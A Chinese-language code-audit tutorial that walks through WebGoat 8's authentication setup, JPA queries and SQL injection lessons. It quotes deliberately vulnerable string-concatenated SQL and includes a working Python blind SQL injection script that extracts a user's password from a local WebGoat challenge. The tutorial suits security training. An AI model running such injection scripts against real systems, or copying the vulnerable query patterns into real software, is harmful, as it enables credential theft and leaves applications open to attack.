Java代码审计入门篇:WebGoat 8(初见)
字数 1312 2025-08-18 11:39:00
WebGoat 8 Java代码审计教学文档
1. WebGoat 8简介
WebGoat 8是基于Spring Boot框架开发的故意不安全的Web应用程序,用于教授Web应用程序安全性课程。它演示了常见的服务器端应用程序缺陷。
2. 环境准备
2.1 系统要求
- Java 11(必须,Java 8编译失败)
- Maven > 3.2.1
- IDEA(推荐)
2.2 项目获取与编译
git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat
mvn clean install
mvn -pl webgoat-server spring-boot:run
2.3 导入IDEA
- 选择Maven Root directory为WebGoat目录
- 勾选Maven projects
- 选择SDK 11
- 设置任意Project name
3. 组件安全审计
3.1 组件漏洞检查
- 检查引入的组件及其版本
- 查找已知漏洞组件:Struts2、不安全的编辑控件、XML解析器、commons-collections等
- 使用自动化工具:OWASP Dependency-Check
3.2 OWASP Dependency-Check
- 开源程序,识别项目依赖项并检查已知漏洞
- 支持多种语言:Java、.NET、Ruby、Node.js、Python等
- 可集成到多种工具:Ant、Maven、Gradle、Jenkins、Sonar等
4. 登录认证模块审计
4.1 WebSecurityConfig
Spring Boot通过WebSecurityConfig文件设置安全项(认证和授权)
关键代码:
@Configuration
@AllArgsConstructor
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
private final UserService userDetailsService;
@Override
protected void configure(HttpSecurity http) throws Exception {
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http
.authorizeRequests()
.antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc").permitAll()
.anyRequest().authenticated();
security.and()
.formLogin()
.loginPage("/login")
.defaultSuccessUrl("/welcome.mvc", true)
.usernameParameter("username")
.passwordParameter("password")
.permitAll();
security.and()
.logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
security.and().csrf().disable();
http.headers().cacheControl().disable();
http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
}
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService);
}
}
4.2 认证方式分析
- 内存认证(不安全):
auth.inMemoryAuthentication()
.withUser("user").password("password").roles("USER").and()
.withUser("admin").password("password").roles("USER", "ADMIN");
- JDBC认证:
auth.jdbcAuthentication()
.dataSource(dataSource)
.withDefaultSchema()
.withUser("user").password("password").roles("USER").and()
.withUser("admin").password("password").roles("USER", "ADMIN");
- LDAP认证:
auth.ldapAuthentication()
.userDnPatterns("uid={0},ou=people")
.groupSearchBase("ou=groups");
- 自定义UserDetailsService认证(WebGoat使用方式):
auth.userDetailsService(userDetailsService);
4.3 UserService实现
@Service
@AllArgsConstructor
public class UserService implements UserDetailsService {
private final UserRepository userRepository;
private final UserTrackerRepository userTrackerRepository;
@Override
public WebGoatUser loadUserByUsername(String username) throws UsernameNotFoundException {
WebGoatUser webGoatUser = userRepository.findByUsername(username);
if (webGoatUser == null) {
throw new UsernameNotFoundException("User not found");
} else {
webGoatUser.createUser();
}
return webGoatUser;
}
public void addUser(String username, String password) {
userRepository.save(new WebGoatUser(username, password));
userTrackerRepository.save(new UserTracker(username));
}
}
4.4 JPA Repository安全实现
public interface UserRepository extends JpaRepository<WebGoatUser, String> {
WebGoatUser findByUsername(String username);
List<WebGoatUser> findAll();
}
JPA查询方式:
-
解析方法名创建查询(安全)
- 前缀:find、read、readBy、get、getBy
- 示例:
findByUsername→select u from WebGoatUser u where u.username = ?1
-
@Query创建查询(需检查)
@Query("select a from AccountInfo a where a.accountId = ?1") public AccountInfo findByAccountId(Long accountId); @Query("from AccountInfo a where a.accountId = :id") public AccountInfo findByAccountId(@Param("id")Long accountId); -
JPA命名查询(需检查orm.xml或@NamedQuery)
5. 注册功能审计
5.1 注册控制器
@Controller
@AllArgsConstructor
@Slf4j
public class RegistrationController {
private UserValidator userValidator;
private UserService userService;
private AuthenticationManager authenticationManager;
@GetMapping("/registration")
public String showForm(UserForm userForm) {
return "registration";
}
@PostMapping("/register.mvc")
@SneakyThrows
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm,
BindingResult bindingResult, HttpServletRequest request) {
userValidator.validate(userForm, bindingResult);
if (bindingResult.hasErrors()) {
return "registration";
}
userService.addUser(userForm.getUsername(), userForm.getPassword());
request.login(userForm.getUsername(), userForm.getPassword());
return "redirect:/attack";
}
}
5.2 用户验证器
public class UserValidator implements Validator {
private final UserRepository userRepository;
@Override
public void validate(Object o, Errors errors) {
UserForm userForm = (UserForm) o;
if (userRepository.findByUsername(userForm.getUsername()) != null) {
errors.rejectValue("username", "username.duplicate");
}
if (!userForm.getMatchingPassword().equals(userForm.getPassword())) {
errors.rejectValue("matchingPassword", "password.diff");
}
}
}
6. SQL注入漏洞分析
6.1 基础SQL注入(Lesson 1)
直接执行用户输入的SQL查询:
@RequestMapping(method = RequestMethod.POST)
public @ResponseBody AttackResult completed(@RequestParam String query) {
return injectableQuery(query);
}
protected AttackResult injectableQuery(String _query) {
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = _query;
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(_query);
// ...
}
}
6.2 参数拼接注入(Lesson 8)
@PostMapping
public @ResponseBody AttackResult completed(@RequestParam String account,
@RequestParam String operator,
@RequestParam String injection) {
return injectableQuery(account + " " + operator + " " + injection);
}
protected AttackResult injectableQuery(String accountName) {
String query = "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'";
try(Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY)) {
ResultSet results = statement.executeQuery(query);
// ...
}
}
6.3 高级SQL注入挑战(Challenge 4)
混合安全和不安全的实现:
@PutMapping
@ResponseBody
public AttackResult registerNewUser(@RequestParam String username_reg,
@RequestParam String email_reg,
@RequestParam String password_reg) throws Exception {
// 不安全的查询
String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(checkUserQuery);
// 安全的插入
PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)");
preparedStatement.setString(1, username_reg);
preparedStatement.setString(2, email_reg);
preparedStatement.setString(3, password_reg);
preparedStatement.execute();
}
6.4 密码爆破脚本
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import string
def getPassword():
cookies = {'JSESSIONID': 'dZcRiB0wXwYNLWxpjqdGiIHl2jJojW2fj4-eJRxT'}
url = "http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge"
password = ''
for num in range(1, 24):
for word in string.lowercase:
pa = 'tom \'and substring(password,'+str(num)+',1)=\''+word+'\' -- kljh'
payload = {
'username_reg': pa,
'email_reg':'123%40123.com',
'password_reg': '123',
'confirm_password_reg': '123'
}
r = requests.put(url, cookies=cookies, data=payload)
if r.json()['lessonCompleted'] == False:
password += word
print('password:' + password)
break
if __name__ == "__main__":
getPassword()
7. 安全建议
-
认证安全:
- 避免使用内存认证
- 使用强密码哈希算法(如BCrypt)
- 实现账户锁定机制
-
SQL注入防护:
- 始终使用参数化查询(PreparedStatement)
- 避免直接拼接SQL语句
- 使用ORM框架时遵循规范
-
组件安全:
- 定期检查依赖项漏洞
- 使用OWASP Dependency-Check等工具自动化检查
- 及时更新有漏洞的组件
-
输入验证:
- 对所有用户输入进行验证
- 使用白名单验证
- 实施长度和格式限制
-
安全配置:
- 禁用不必要的HTTP方法
- 配置安全的HTTP头
- 启用CSRF防护